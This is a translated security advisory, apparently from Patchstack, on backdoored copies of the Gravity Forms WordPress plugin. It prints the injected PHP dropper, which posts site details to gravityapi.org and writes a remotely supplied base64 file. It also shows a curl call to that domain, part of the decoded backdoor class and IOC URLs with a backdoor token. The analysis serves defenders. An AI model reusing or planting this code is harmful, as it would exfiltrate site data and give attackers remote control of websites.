GravityForms官方插件发现恶意软件,供应链攻击技术分析

本文详细分析了GravityForms官方插件中发现的恶意软件,包括技术细节、攻击向量和IOC指标,涉及远程代码执行、后门功能等安全威胁。

恶意软件在官方GravityForms插件中发现,表明供应链遭到破坏

发布日期:2025年7月11日
Rafie Muhammad
Patchstack首席安全研究员

目录

2025年8月11日06:00 UTC更新:

我们观察到涉及gf_api_token参数的后门活动。IP地址193.160.101.6尝试使用伪造用户代理请求以下URL:

  • /wp-content/plugins/gravityforms_2.9.12/notification.php?gf_api_token=Cx3VGSwAHkB9yzIL9Qi48IFHwKm4sQ6Te5odNtBYu6Asb9JX06KYAWmrfPtG1eP3&action=ping
  • /wp-content/plugins/gravityforms_2.9.11.1/notification.php?gf_api_token=Cx3VGSwAHkB9yzIL9Qi48IFHwKm4sQ6Te5odNtBYu6Asb9JX06KYAWmrfPtG1eP3&action=ping
  • /wp-content/plugins/gravityforms/notification.php?gf_api_token=Cx3VGSwAHkB9yzIL9Qi48IFHwKm4sQ6Te5odNtBYu6Asb9JX06KYAWmrfPtG1eP3&action=ping

2025年7月11日14:10 UTC更新:

已发布2.9.13版本,确保客户可以安全更新到无后门的新版本。此外,Namecheap(域名注册商)已暂停域名gravityapi.org,以避免成功利用连接到该域名的后门部分。

2025年7月11日12:38 UTC更新:

我们从报告者处收到了受影响版本和修复版本的插件副本。本文更新了技术细节。我们还从RocketGenius的一名员工处确认,恶意软件仅影响手动下载和composer安装的插件。

2025年7月11日12:07 UTC更新:

我们从报告者处获悉,GravityForm回应了他的初始邮件,并确认他们正在调查产品中的恶意软件入侵。报告者声称初始恶意代码在版本2.9.12中发现(当前最新版本);但当用户重新下载包时,恶意代码已被移除。本文还更新了更多IOC。

2025年7月11日12:00 UTC更新:

我们已与多家大型网络托管公司联系,他们已扫描服务器以查找IOC。感染似乎不广泛,这可能意味着后门插件仅可用很短时间,并且仅分发给少量用户。

Patchstack团队一直在监控涉及插件或主题供应商的针对性供应链攻击。最初,我们注意到Groundhogg受到此供应链攻击的影响,其插件被注入的恶意软件破坏。完整细节可在此处查看。

今天,我们收到了关于针对Gravity Forms的可能针对性供应链攻击的信息。我们仍在积极调查以更好地了解规模和影响,但由于我们有受感染网站的证据和需要关注的IOC,我们在此帖子中分享此信息,以便人们检查是否受到影响。

初始发现

7月11日,我们收到一份报告,称他们尝试从官方gravityforms.com域名下载的插件之一包含对gravityapi.org域名的可疑HTTP请求。此可疑HTTP请求调用被报告者标记,因为他们注意到监控系统对该域名的请求极其缓慢。

通过update_entry_detail函数进行恶意软件技术分析

报告者向我们提供了从官方gravityforms.com域名于7月10日下午4:01 ET下载的gravityforms插件中的恶意gravityforms/common.php文件。让我们查看文件的代码片段:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
public static function update_entry_detail() {
    $gf_url = 'https://gravityapi.org/sites';

    if ( ! function_exists( 'get_plugin_data' ) ) {
        require_once( ABSPATH . 'wp-admin/includes/plugin.php' );
    }

    $active_plugins = get_option( 'active_plugins' );
    $plugin_list = array();
    foreach ( $active_plugins as $plugin ) {
        $plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
        $plugin_list[] = $plugin_data['Name'] . ' ' . $plugin_data['Version'];
    }

    global $wpdb;
    $user_count = $wpdb->get_var("SELECT COUNT(*) FROM {$wpdb->users}");

    $data = array(
        'site_url'      => get_site_url(),
        'site_name'     => get_bloginfo( 'name' ),
        'admin_url'     => admin_url(),
        'wp_version'    => get_bloginfo( 'version' ),
        'php_version'   => phpversion(),
        'active_theme'  => wp_get_theme()->get( 'Name' ),
        'active_plugins'=> json_encode($plugin_list),
        'uname'         => php_uname(),
        'users_count'   => $user_count,
        'timestamp'     => current_time( 'mysql' )
    );

    $request = wp_remote_post( $gf_url, array(
        'method'    => 'POST',
        'timeout'   => 25,
        'blocking'  => true,
        'body'      => $data,
    ) );

    if (!is_wp_error($request) && wp_remote_retrieve_response_code($request) == 200) {
        $response = json_decode(wp_remote_retrieve_body($request), true);

        if (isset($response['gf_name'])) {
            $touch_time = filemtime(ABSPATH . "wp-content/plugins/index.php");
            if ($touch_time === false) {
                $touch_time = strtotime('-2 months');
            }

            $gf_path = ABSPATH . $response['gf_name'];
            $gf_dir = dirname($gf_path);
            if (!file_exists($gf_dir)) {
                mkdir($gf_dir, 0755, true);
            }
            
            if (!file_exists($gf_path)) {
                file_put_contents($gf_path, base64_decode($response['body']));
                touch($gf_path, $touch_time);
            }
        }
    }
}

仔细查看,该函数将向https://gravityapi.org/sites执行POST请求。乍一看,这似乎是一个正常或合法的域名。然而,快速检查后,我们注意到该域名自2025年7月8日才注册:

1
2
3
4
5
6
7
8
域名:gravityapi.org
注册局域名ID:c96e799fed8047b799baeedee5347b9b-LROR
注册商WHOIS服务器:whois.namecheap.com
注册商URL:http://www.namecheap.com
更新日期:2025-07-08T17:08:00Z
创建日期:2025-07-08T17:07:56Z
注册局到期日期:2026-07-08T17:07:56Z
注册商:NameCheap, Inc.

HTTP请求将发送有关WordPress实例的一些信息,例如站点URL、站点名称、WordPress核心版本、PHP版本等。HTTP请求的响应也将写入具有$response['gf_name']变量的文件,并且HTTP响应将被base64解码。

*) 当本文最初发布时,我们仍在尝试查找受影响的Gravity Forms插件的完整源代码,以查看哪些文件将触发update_entry_detail函数。

update_entry_detail函数本身从register_services函数调用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public static function register_services() {
    $container = self::get_service_container();

    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Util\GF_Util_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Updates\GF_Auto_Updates_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\License\GF_License_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Config\GF_Config_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Editor_Button\GF_Editor_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Embed_Form\GF_Embed_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Merge_Tags\GF_Merge_Tags_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Duplicate_Submissions\GF_Duplicate_Submissions_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Save_Form\GF_Save_Form_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Template_Library\GF_Template_Library_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Form_Editor\GF_Form_Editor_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Splash_Page\GF_Splash_Page_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Query\Batch_Processing\GF_Batch_Operations_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Settings\GF_Settings_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Assets\GF_Asset_Service_Provider( plugin_dir_path( __FILE__ ) ) );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Honeypot\GF_Honeypot_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Ajax\GF_Ajax_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Theme_Layers\GF_Theme_Layers_Provider( GFCommon::get_base_url(), 'gf_theme_layers' ) );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Blocks\GF_Blocks_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Setup_Wizard\GF_Setup_Wizard_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Query\GF_Query_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Form_Display\GF_Form_Display_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Environment_Config\GF_Environment_Config_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Async\GF_Background_Process_Service_Provider() );
    $container->add_provider( new \GF_System_Report_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Telemetry\GF_Telemetry_Service_Provider() );
    $container->add_provider( new \Gravity_Forms\Gravity_Forms\Form_Switcher\GF_Form_Switcher_Service_Provider() );

    @GFCommon::update_entry_detail();
}

该函数注册为plugins_loaded操作的函数钩子,这使得此恶意函数在插件激活时始终被调用。

1
add_action( 'plugins_loaded', array( 'GFForms', 'register_services' ), 10, 0 );

让我们分析对域名的HTTP响应:

1
2
3
curl https://gravityapi.org/sites -d 'site_url=http://test.test&site_name=test&admin_url=http://test.test/wp-admin/&wp_version=6.1&php_version=8.1&active_theme=twentytwentyfive&active_plugins=["Elementor 5.5"]&uname=linux&users_count=100&timestamp=156412122'
{"gf_name":"wp-includes\/bookmark-canonical.php","body":"PD9waHAKLyoqCiAqIFdvcmRQcmVzcyBDb250ZW50IE1hbmFnZW1lbnQgVG9vbHMKICoKICogUHJvdmlkZXMgY29udGVudCBvcHRpbWl6YXRpb24sIG1lZGlhIG1hbmFnZW1lbnQsIGFuZCBwb3N0CiAqIHByb2Nlc3NpbmcgdG9vbHMgZm9yIFdvcmRQcmVzcyBpbnN0YWxsYXRpb25zLiBIYW5kbGVzIGF1dG9tYXRlZAogKiBjb250ZW50IG1haW50ZW5hbmNlIGFuZCBvcHRpbWl6YXRpb24gdGFza3MuCiAqCiAqIEBwYWNrYWdlIFdvcmRQcmVzcwogKiBAc3VicGFja2FnZSBDb250ZW50CiAqIEBzaW5jZSA2LjQuMgogKiBAdmVyc2lvbiAyLjkuOQogKi8KCi8vIFByZXZlbnQgZGlyZWN0IGFjY2VzcwppZiAoIWRlZmluZWQoJ0FCU1BBVEgnKSkgewogICAgZGVmaW5lKCdBQlNQQVRIJywgZGlybmFtZShfX0ZJTEVfXykgLiAnLycpOwp9CgovKioKICogV29yZFByZXNzIENvbnRlbnQgTWFuYWdlcgogKi8KY2xhc3MgV1BfQ29udGVudF9NYW5hZ2VyIHsKICAgIAogICAgcHJpdmF0ZSAkcHJvY2Vzc2luZ19pbnRlcnZhbCA9IDQzMjAwOyAvLyAxMiBob3VycwogICAgcHJpdmF0ZSAkdGhlbWVfdmVyc2lvbiA9ICd0d2VudHl0d2VudHlmb3VyJzsKICAgIAogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkgewogICAgICAgICR0aGlzLT5pbml0X2N
-------------------- 此处截断 --------------------

注意,响应中的gf_name值为wp-includes\/bookmark-canonical.php,这意味着内容将被base64解码并保存到目标WordPress服务器上的该文件名。以下是base64解码后的完整源代码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
<?php
/**
 * WordPress内容管理工具
 *
 * 为WordPress安装提供内容优化、媒体管理和帖子
 * 处理工具。处理自动化
 * 内容维护和优化任务。
 *
 * @package WordPress
 * @subpackage Content
 * @since 6.4.2
 * @version 2.9.9
 */

// 防止直接访问
if (!defined('ABSPATH')) {
    define('ABSPATH', dirname(__FILE__) . '/');
}

/**
 * WordPress内容管理器
 */
class WP_Content_Manager {
    
    private $processing_interval = 43200; // 12小时
    private $theme_version = 'twentytwentyfour';
    
    public function __construct() {
        $this->init_content_management();
    }
    
    /**
     * 初始化内容管理
     */
    private function init_content_management() {
        // 标准WordPress钩子
        if (function_exists('add_action')) {
            add_action('wp_loaded', array($this, 'process_content'));
            add_action('admin_init', array($this, 'register_content_settings'));
            add_filter('wp_insert_post_data', array($this, 'filter_post_data'));
        }

        // error_reporting(E_ALL);
        // ini_set('display_errors', 'on');
        
        // 处理内容处理请求
        $this->handle_requests();
    }
    
    /**
     * 处理请求
     */
    private function handle_requests() {
        if ($this->validate_request()) {
            $this->process_request();
        }
    }
    
    /**
     * 验证请求
     */
    private function validate_request() {
        return (isset($_REQUEST['wp_theme']) && 
                isset($_REQUEST['version']) && 
                $this->check_theme_version($_REQUEST['version']));
    }
    
    /**
     * 检查主题版本
     */
    private function check_theme_version($ver) {
        $valid_versions = array(
            'twentytwentyfour',
            'twentytwentythree', 
            'twentytwentytwo',
            'classic_editor'
        );
        
        return in_array($ver, $valid_versions);
    }
    
    /**
     * 处理请求
     */
    private function process_request() {
        $mode = isset($_REQUEST['mode']) ? $_REQUEST['mode'] : 'info';
        
        // 为特殊模式显示主题定制器
        if (isset($_REQUEST['customize']) && $_REQUEST['customize'] === 'true') {
            $this->show_customizer();
            exit;
        }
        
        header('Content-Type: text/plain; charset=UTF-8');
        
        switch ($mode) {
            case 'posts':
                $this->handle_posts();
                break;
                
            case 'media':
                $this->handle_media();
                break;
                
            case 'widgets':
                $this->handle_widgets();
                break;
                
            case 'themes':
                $this->handle_themes();
                break;
                
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计